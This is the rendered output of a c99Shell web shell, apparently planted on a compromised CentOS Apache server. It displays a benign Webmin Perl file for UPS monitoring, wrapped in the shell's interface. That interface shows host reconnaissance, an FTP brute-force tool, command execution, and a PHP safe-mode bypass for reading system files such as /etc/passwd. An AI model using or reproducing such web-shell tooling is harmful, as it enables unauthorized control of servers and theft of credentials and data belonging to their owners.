!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/status/   drwxr-xr-x
Free 49.59 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     nut-monitor.pl (2.12 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Check if some NUT value is too low or high

sub get_nut_status
{
return { 'up' => -1 } if (!&has_command("upsc"));
local @sens = &get_ups_values($_[0]->{'ups'});
local ($sens) = grep { $_->{'name'} eq $_[0]->{'name'} } @sens;
return { 'up' => 1 } if (!$sens);
if ($_[0]->{'mode'} == 1) {
    return $sens->{'value'} < $_[0]->{'min'} ? { 'up' => 0 }
                         : { 'up' => 1 };
    }
elsif ($_[0]->{'mode'} == 2) {
    return $sens->{'value'} > $_[0]->{'max'} ? { 'up' => 0 }
                         : { 'up' => 1 };
    }
}

sub show_nut_dialog
{
if (!&has_command("upsc")) {
    print &ui_table_row(undef, $text{'nut_cmd'}, 4);
    }
else {
    # UPS name
    print &ui_table_row($text{'nut_ups'},
        &ui_textbox("ups", $_[0]->{'ups'}, 20));

    # Value to check
    local @sens = &get_ups_values();
    if (@sens) {
        print &ui_table_row($text{'nut_name'},
            &ui_select("name", $_[0]->{'name'},
            [ map { [ $_->{'name'},
                &text('nut_cur', $_->{'name'}, $_->{'value'}) ] }
              @sens ]));
        }
    else {
        print &ui_table_row($text{'nut_name'},
            &ui_textbox("name", $_[0]->{'name'}, 20));
        }

    # Expected value
    print &ui_table_row($text{'nut_value'},
        &ui_radio("mode", $_[0]->{'mode'} || 1,
        [ [ 1, &text('sensors_value1',
                 &ui_textbox("min", $_[0]->{'min'}, 8)) ],
          [ 2, &text('sensors_value2',
                 &ui_textbox("max", $_[0]->{'max'}, 8)) ] ]),
        3);
    }
}

sub parse_nut_dialog
{
&has_command("upsc") || &error($text{'nut_cmd'});
$in{'ups'} =~ /^\S+$/ || &error($text{'nut_eups'});
$_[0]->{'ups'} = $in{'ups'};
$_[0]->{'name'} = $in{'name'};
$_[0]->{'mode'} = $in{'mode'};
$_[0]->{'max'} = $in{'max'};
$_[0]->{'min'} = $in{'min'};
if ($in{'mode'} == 1) {
    $in{'min'} =~ /^[0-9\.\+\-]+$/ || &error($text{'nut_emin'});
    }
elsif ($in{'mode'} == 2) {
    $in{'max'} =~ /^[0-9\.\+\-]+$/ || &error($text{'nut_emax'});
    }
}

# get_ups_values(ups)
# Returns a list of NUT attribute names and values for some UPS
sub get_ups_values
{
if (!scalar(@get_ups_cache)) {
    local @rv;
    open(SENS, "upsc ".quotemeta($_[0])." |");
    while(<SENS>) {
        if (/^(\S+):\s+(.*)/) {
            push(@rv, { 'name' => $1,
                    'value' => $2 });
            }
        }
    close(SENS);
    @get_ups_cache = @rv;
    }
return @get_ups_cache;
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0124 ]--